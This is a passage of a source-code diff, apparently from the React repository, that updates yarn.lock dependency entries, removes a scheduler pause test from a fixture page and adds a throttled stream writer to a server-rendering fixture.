+    schema-utils "^3.2.0"
+    tapable "^2.1.1"
+    terser-webpack-plugin "^5.3.10"
+    watchpack "^2.4.1"
+    webpack-sources "^3.2.3"
+
+websocket-driver@>=0.5.1, websocket-driver@^0.7.4:
+  version "0.7.4"
+  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
+  integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==
+  dependencies:
+    http-parser-js ">=0.5.1"
+    safe-buffer ">=5.1.0"
+    websocket-extensions ">=0.1.1"
+
+websocket-extensions@>=0.1.1:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
+  integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==
+
+whatwg-encoding@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
+  integrity sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==
+  dependencies:
+    iconv-lite "0.4.24"
+
+whatwg-fetch@^3.6.2:
+  version "3.6.20"
+  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz#580ce6d791facec91d37c72890995a0b48d31c70"
+  integrity sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==
+
+whatwg-mimetype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
+  integrity sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==
+
+whatwg-url@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
+  integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==
+  dependencies:
+    lodash.sortby "^4.7.0"
+    tr46 "^1.0.1"
+    webidl-conversions "^4.0.2"
+
+whatwg-url@^8.0.0, whatwg-url@^8.5.0:
+  version "8.7.0"
+  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.7.0.tgz#656a78e510ff8f3937bc0bcbe9f5c0ac35941b77"
+  integrity sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==
+  dependencies:
+    lodash "^4.7.0"
+    tr46 "^2.1.0"
+    webidl-conversions "^6.1.0"
+
+which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e"
+  integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==
+  dependencies:
+    is-bigint "^1.1.0"
+    is-boolean-object "^1.2.1"
+    is-number-object "^1.1.1"
+    is-string "^1.1.1"
+    is-symbol "^1.1.1"
+
+which-builtin-type@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e"
+  integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==
+  dependencies:
+    call-bound "^1.0.2"
+    function.prototype.name "^1.1.6"
+    has-tostringtag "^1.0.2"
+    is-async-function "^2.0.0"
+    is-date-object "^1.1.0"
+    is-finalizationregistry "^1.1.0"
+    is-generator-function "^1.0.10"
+    is-regex "^1.2.1"
+    is-weakref "^1.0.2"
+    isarray "^2.0.5"
+    which-boxed-primitive "^1.1.0"
+    which-collection "^1.0.2"
+    which-typed-array "^1.1.16"
+
+which-collection@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0"
+  integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==
+  dependencies:
+    is-map "^2.0.3"
+    is-set "^2.0.3"
+    is-weakmap "^2.0.2"
+    is-weakset "^2.0.3"
+
+which-typed-array@^1.1.16, which-typed-array@^1.1.18:
+  version "1.1.18"
+  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.18.tgz#df2389ebf3fbb246a71390e90730a9edb6ce17ad"
+  integrity sha512-qEcY+KJYlWyLH9vNbsr6/5j59AXk5ni5aakf8ldzBvGde6Iz4sxZGkJyWSAueTG7QhOvNRYb1lDdFmL5Td0QKA==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+
+which@^1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
+  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+  dependencies:
+    isexe "^2.0.0"
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5, word-wrap@~1.2.3:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+workbox-background-sync@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-background-sync/-/workbox-background-sync-6.6.1.tgz#08d603a33717ce663e718c30cc336f74909aff2f"
+  integrity sha512-trJd3ovpWCvzu4sW0E8rV3FUyIcC0W8G+AZ+VcqzzA890AsWZlUGOTSxIMmIHVusUw/FDq1HFWfy/kC/WTRqSg==
+  dependencies:
+    idb "^7.0.1"
+    workbox-core "6.6.1"
+
+workbox-broadcast-update@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-broadcast-update/-/workbox-broadcast-update-6.6.1.tgz#0fad9454cf8e4ace0c293e5617c64c75d8a8c61e"
+  integrity sha512-fBhffRdaANdeQ1V8s692R9l/gzvjjRtydBOvR6WCSB0BNE2BacA29Z4r9/RHd9KaXCPl6JTdI9q0bR25YKP8TQ==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-build@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-build/-/workbox-build-6.6.1.tgz#6010e9ce550910156761448f2dbea8cfcf759cb0"
+  integrity sha512-INPgDx6aRycAugUixbKgiEQBWD0MPZqU5r0jyr24CehvNuLPSXp/wGOpdRJmts656lNiXwqV7dC2nzyrzWEDnw==
+  dependencies:
+    "@apideck/better-ajv-errors" "^0.3.1"
+    "@babel/core" "^7.11.1"
+    "@babel/preset-env" "^7.11.0"
+    "@babel/runtime" "^7.11.2"
+    "@rollup/plugin-babel" "^5.2.0"
+    "@rollup/plugin-node-resolve" "^11.2.1"
+    "@rollup/plugin-replace" "^2.4.1"
+    "@surma/rollup-plugin-off-main-thread" "^2.2.3"
+    ajv "^8.6.0"
+    common-tags "^1.8.0"
+    fast-json-stable-stringify "^2.1.0"
+    fs-extra "^9.0.1"
+    glob "^7.1.6"
+    lodash "^4.17.20"
+    pretty-bytes "^5.3.0"
+    rollup "^2.43.1"
+    rollup-plugin-terser "^7.0.0"
+    source-map "^0.8.0-beta.0"
+    stringify-object "^3.3.0"
+    strip-comments "^2.0.1"
+    tempy "^0.6.0"
+    upath "^1.2.0"
+    workbox-background-sync "6.6.1"
+    workbox-broadcast-update "6.6.1"
+    workbox-cacheable-response "6.6.1"
+    workbox-core "6.6.1"
+    workbox-expiration "6.6.1"
+    workbox-google-analytics "6.6.1"
+    workbox-navigation-preload "6.6.1"
+    workbox-precaching "6.6.1"
+    workbox-range-requests "6.6.1"
+    workbox-recipes "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+    workbox-streams "6.6.1"
+    workbox-sw "6.6.1"
+    workbox-window "6.6.1"
+
+workbox-cacheable-response@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-cacheable-response/-/workbox-cacheable-response-6.6.1.tgz#284c2b86be3f4fd191970ace8c8e99797bcf58e9"
+  integrity sha512-85LY4veT2CnTCDxaVG7ft3NKaFbH6i4urZXgLiU4AiwvKqS2ChL6/eILiGRYXfZ6gAwDnh5RkuDbr/GMS4KSag==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-core@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-core/-/workbox-core-6.6.1.tgz#7184776d4134c5ed2f086878c882728fc9084265"
+  integrity sha512-ZrGBXjjaJLqzVothoE12qTbVnOAjFrHDXpZe7coCb6q65qI/59rDLwuFMO4PcZ7jcbxY+0+NhUVztzR/CbjEFw==
+
+workbox-expiration@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-expiration/-/workbox-expiration-6.6.1.tgz#a841fa36676104426dbfb9da1ef6a630b4f93739"
+  integrity sha512-qFiNeeINndiOxaCrd2DeL1Xh1RFug3JonzjxUHc5WkvkD2u5abY3gZL1xSUNt3vZKsFFGGORItSjVTVnWAZO4A==
+  dependencies:
+    idb "^7.0.1"
+    workbox-core "6.6.1"
+
+workbox-google-analytics@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-google-analytics/-/workbox-google-analytics-6.6.1.tgz#a07a6655ab33d89d1b0b0a935ffa5dea88618c5d"
+  integrity sha512-1TjSvbFSLmkpqLcBsF7FuGqqeDsf+uAXO/pjiINQKg3b1GN0nBngnxLcXDYo1n/XxK4N7RaRrpRlkwjY/3ocuA==
+  dependencies:
+    workbox-background-sync "6.6.1"
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-navigation-preload@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-navigation-preload/-/workbox-navigation-preload-6.6.1.tgz#61a34fe125558dd88cf09237f11bd966504ea059"
+  integrity sha512-DQCZowCecO+wRoIxJI2V6bXWK6/53ff+hEXLGlQL4Rp9ZaPDLrgV/32nxwWIP7QpWDkVEtllTAK5h6cnhxNxDA==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-precaching@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-precaching/-/workbox-precaching-6.6.1.tgz#dedeeba10a2d163d990bf99f1c2066ac0d1a19e2"
+  integrity sha512-K4znSJ7IKxCnCYEdhNkMr7X1kNh8cz+mFgx9v5jFdz1MfI84pq8C2zG+oAoeE5kFrUf7YkT5x4uLWBNg0DVZ5A==
+  dependencies:
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-range-requests@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-range-requests/-/workbox-range-requests-6.6.1.tgz#ddaf7e73af11d362fbb2f136a9063a4c7f507a39"
+  integrity sha512-4BDzk28govqzg2ZpX0IFkthdRmCKgAKreontYRC5YsAPB2jDtPNxqx3WtTXgHw1NZalXpcH/E4LqUa9+2xbv1g==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-recipes@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-recipes/-/workbox-recipes-6.6.1.tgz#ea70d2b2b0b0bce8de0a9d94f274d4a688e69fae"
+  integrity sha512-/oy8vCSzromXokDA+X+VgpeZJvtuf8SkQ8KL0xmRivMgJZrjwM3c2tpKTJn6PZA6TsbxGs3Sc7KwMoZVamcV2g==
+  dependencies:
+    workbox-cacheable-response "6.6.1"
+    workbox-core "6.6.1"
+    workbox-expiration "6.6.1"
+    workbox-precaching "6.6.1"
+    workbox-routing "6.6.1"
+    workbox-strategies "6.6.1"
+
+workbox-routing@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-routing/-/workbox-routing-6.6.1.tgz#cba9a1c7e0d1ea11e24b6f8c518840efdc94f581"
+  integrity sha512-j4ohlQvfpVdoR8vDYxTY9rA9VvxTHogkIDwGdJ+rb2VRZQ5vt1CWwUUZBeD/WGFAni12jD1HlMXvJ8JS7aBWTg==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-strategies@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-strategies/-/workbox-strategies-6.6.1.tgz#38d0f0fbdddba97bd92e0c6418d0b1a2ccd5b8bf"
+  integrity sha512-WQLXkRnsk4L81fVPkkgon1rZNxnpdO5LsO+ws7tYBC6QQQFJVI6v98klrJEjFtZwzw/mB/HT5yVp7CcX0O+mrw==
+  dependencies:
+    workbox-core "6.6.1"
+
+workbox-streams@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-streams/-/workbox-streams-6.6.1.tgz#b2f7ba7b315c27a6e3a96a476593f99c5d227d26"
+  integrity sha512-maKG65FUq9e4BLotSKWSTzeF0sgctQdYyTMq529piEN24Dlu9b6WhrAfRpHdCncRS89Zi2QVpW5V33NX8PgH3Q==
+  dependencies:
+    workbox-core "6.6.1"
+    workbox-routing "6.6.1"
+
+workbox-sw@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-sw/-/workbox-sw-6.6.1.tgz#d4c4ca3125088e8b9fd7a748ed537fa0247bd72c"
+  integrity sha512-R7whwjvU2abHH/lR6kQTTXLHDFU2izht9kJOvBRYK65FbwutT4VvnUAJIgHvfWZ/fokrOPhfoWYoPCMpSgUKHQ==
+
+workbox-webpack-plugin@^6.4.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.1.tgz#4f81cc1ad4e5d2cd7477a86ba83c84ee2d187531"
+  integrity sha512-zpZ+ExFj9NmiI66cFEApyjk7hGsfJ1YMOaLXGXBoZf0v7Iu6hL0ZBe+83mnDq3YYWAfA3fnyFejritjOHkFcrA==
+  dependencies:
+    fast-json-stable-stringify "^2.1.0"
+    pretty-bytes "^5.4.1"
+    upath "^1.2.0"
+    webpack-sources "^1.4.3"
+    workbox-build "6.6.1"
+
+workbox-window@6.6.1:
+  version "6.6.1"
+  resolved "https://registry.yarnpkg.com/workbox-window/-/workbox-window-6.6.1.tgz#f22a394cbac36240d0dadcbdebc35f711bb7b89e"
+  integrity sha512-wil4nwOY58nTdCvif/KEZjQ2NP8uk3gGeRNy2jPBbzypU4BT4D9L8xiwbmDBpZlSgJd2xsT9FvSNU0gsxV51JQ==
+  dependencies:
+    "@types/trusted-types" "^2.0.2"
+    workbox-core "6.6.1"
+
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^8.1.0:
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
+  integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==
+  dependencies:
+    ansi-styles "^6.1.0"
+    string-width "^5.0.1"
+    strip-ansi "^7.0.1"
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
+
+write-file-atomic@^3.0.0:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
+  integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==
+  dependencies:
+    imurmurhash "^0.1.4"
+    is-typedarray "^1.0.0"
+    signal-exit "^3.0.2"
+    typedarray-to-buffer "^3.1.5"
+
+ws@^7.4.6:
+  version "7.5.10"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9"
+  integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
+
+ws@^8.13.0:
+  version "8.18.0"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-8.18.0.tgz#0d7505a6eafe2b0e712d232b42279f53bc289bbc"
+  integrity sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==
+
+xml-name-validator@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
+  integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==
+
+xmlchars@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
+  integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
+
+y18n@^5.0.5:
+  version "5.0.8"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
+  integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
+
+yaml@^1.10.0, yaml@^1.10.2, yaml@^1.7.2:
+  version "1.10.2"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
+  integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
+
+yaml@^2.3.4:
+  version "2.7.0"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-2.7.0.tgz#aef9bb617a64c937a9a748803786ad8d3ffe1e98"
+  integrity sha512-+hSoy/QHluxmC9kCIJyL/uyFmLmc+e5CFR5Wa+bpIhIj85LVb9ZH2nVnqrHoSvKogwODv0ClqZkmiSSaIH5LTA==
+
+yargs-parser@^20.2.2:
+  version "20.2.9"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee"
+  integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
+
+yargs@^16.2.0:
+  version "16.2.0"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-16.2.0.tgz#1c82bf0f6b6a66eafce7ef30e376f49a12477f66"
+  integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==
+  dependencies:
+    cliui "^7.0.2"
+    escalade "^3.1.1"
+    get-caller-file "^2.0.5"
+    require-directory "^2.1.1"
+    string-width "^4.2.0"
+    y18n "^5.0.5"
+    yargs-parser "^20.2.2"
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
diff --git a/fixtures/packaging/webpack-alias/dev/yarn.lock b/fixtures/packaging/webpack-alias/dev/yarn.lock
index 961a3a8208a0..2da73debceea 100644
--- a/fixtures/packaging/webpack-alias/dev/yarn.lock
+++ b/fixtures/packaging/webpack-alias/dev/yarn.lock
@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
 
 qs@~6.4.0:
-  version "6.4.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
+  version "6.4.1"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
 
 querystring-es3@^0.2.0:
   version "0.2.1"
diff --git a/fixtures/packaging/webpack/prod/yarn.lock b/fixtures/packaging/webpack/prod/yarn.lock
index 961a3a8208a0..2da73debceea 100644
--- a/fixtures/packaging/webpack/prod/yarn.lock
+++ b/fixtures/packaging/webpack/prod/yarn.lock
@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
   resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
 
 qs@~6.4.0:
-  version "6.4.0"
-  resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
+  version "6.4.1"
+  resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
 
 querystring-es3@^0.2.0:
   version "0.2.1"
diff --git a/fixtures/scheduler/index.html b/fixtures/scheduler/index.html
index 5da9d6616301..4bc57fbd9a7c 100644
--- a/fixtures/scheduler/index.html
+++ b/fixtures/scheduler/index.html
@@ -91,19 +91,8 @@ <h2>Tests:</h2>
       <div> If the counter advanced while you were away from this tab, it's correct.</div>
     </li>
     <li>
-      <p>Can pause execution, dump scheduled callbacks, and continue where it left off</p>
-      <button onClick="runTestEight()">Run Test 8</button>
-      <div><b>Click the button above, press "continue" to finish the test after it pauses:</b></div>
-      <button onClick="continueTestEight()">continue</button>
-      <div><b>Expected:</b></div>
-      <div id="test-8-expected">
-      </div>
-      <div> -------------------------------------------------</div>
-      <div> If the test didn't progress until you hit "continue" and </div>
-      <div> you see the same above and below afterwards it's correct.
-        <div> -------------------------------------------------</div>
-        <div><b>Actual:</b></div>
-        <div id="test-8"></div>
+      <p>Test Eight Removed</p>
+      <p>Test 8 was removed because it was testing a feature that was removed from the scheduler.</p>
     </li>
     <li>
       <p>Can force a specific framerate</p>
@@ -156,9 +145,6 @@ <h2>Tests:</h2>
   unstable_scheduleCallback: scheduleCallback,
   unstable_cancelCallback: cancelCallback,
   unstable_now: now,
-  unstable_getFirstCallbackNode: getFirstCallbackNode,
-  unstable_pauseExecution: pauseExecution,
-  unstable_continueExecution: continueExecution,
   unstable_forceFrameRate: forceFrameRate,
   unstable_shouldYield: shouldYield,
   unstable_NormalPriority: NormalPriority,
@@ -587,50 +573,6 @@ <h2>Tests:</h2>
   scheduleCallback(NormalPriority, incrementCounterAndScheduleNextCallback);
 }
 
-function runTestEight() {
-  // Test 8
-  // Pauses execution, dumps the queue, and continues execution
-  clearTestResult(8);
-
-  function countNodesInStack(firstCallbackNode) {
-    var node = firstCallbackNode;
-    var count = 0;
-    if (node !== null) {
-      do {
-        count = count + 1;
-        node = node.next;
-      } while (node !== firstCallbackNode);
-    }
-    return count;
-  }
-
-  scheduleCallback(NormalPriority, () => {
-
-    // size should be 0
-    updateTestResult(8, `Queue size: ${countNodesInStack(getFirstCallbackNode())}.`);
-    updateTestResult(8, 'Pausing... press continue to resume.');
-    pauseExecution();
-
-    scheduleCallback(NormalPriority, function () {
-      updateTestResult(8, 'Finishing...');
-      displayTestResult(8);
-    })
-    scheduleCallback(NormalPriority, function () {
-      updateTestResult(8, 'Done!');
-      displayTestResult(8);
-      checkTestResult(8);
-    })
-
-    // new size should be 2 now
-    updateTestResult(8, `Queue size: ${countNodesInStack(getFirstCallbackNode())}.`);
-    displayTestResult(8);
-  });
-}
-
-function continueTestEight() {
-  continueExecution();
-}
-
 function runTestNine() {
   clearTestResult(9);
   // We have this to make sure that the thing that goes right after it can get a full frame
diff --git a/fixtures/ssr/package.json b/fixtures/ssr/package.json
index 33ea7add74e8..1535c39fb315 100644
--- a/fixtures/ssr/package.json
+++ b/fixtures/ssr/package.json
@@ -20,7 +20,7 @@
     "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/",
     "prebuild": "cp -r ../../build/oss-experimental/* ./node_modules/",
     "dev": "concurrently \"npm run dev:server\" \"npm run dev:client\"",
-    "dev:client": "PORT=3001 react-scripts start",
+    "dev:client": "BROWSER=none PORT=3001 react-scripts start",
     "dev:server": "NODE_ENV=development node server",
     "start": "react-scripts build && NODE_ENV=production node server",
     "build": "react-scripts build",
diff --git a/fixtures/ssr/server/render.js b/fixtures/ssr/server/render.js
index a4fe698858ab..da3efa91b0b0 100644
--- a/fixtures/ssr/server/render.js
+++ b/fixtures/ssr/server/render.js
@@ -1,5 +1,6 @@
 import React from 'react';
 import {renderToPipeableStream} from 'react-dom/server';
+import {Writable} from 'stream';
 
 import App from '../src/components/App';
 
@@ -14,6 +15,35 @@ if (process.env.NODE_ENV === 'development') {
   assets = require('../build/asset-manifest.json');
 }
 
+class ThrottledWritable extends Writable {
+  constructor(destination) {
+    super();
+    this.destination = destination;
+    this.delay = 10;
+  }
+
+  _write(chunk, encoding, callback) {
+    let o = 0;
+    const write = () => {
+      this.destination.write(chunk.slice(o, o + 100), encoding, x => {
+        o += 100;
+        if (o < chunk.length) {
+          setTimeout(write, this.delay);
+        } else {
+          callback(x);
+        }
+      });
+    };
+    setTimeout(write, this.delay);
+  }
+
+  _final(callback) {
+    setTimeout(() => {
+      this.destination.end(callback);
+    }, this.delay);
+  }
+}
+
 export default function render(url, res) {
   res.socket.on('error', error => {
     // Log fatal errors
@@ -22,11 +52,15 @@ export default function render(url, res) {
   let didError = false;
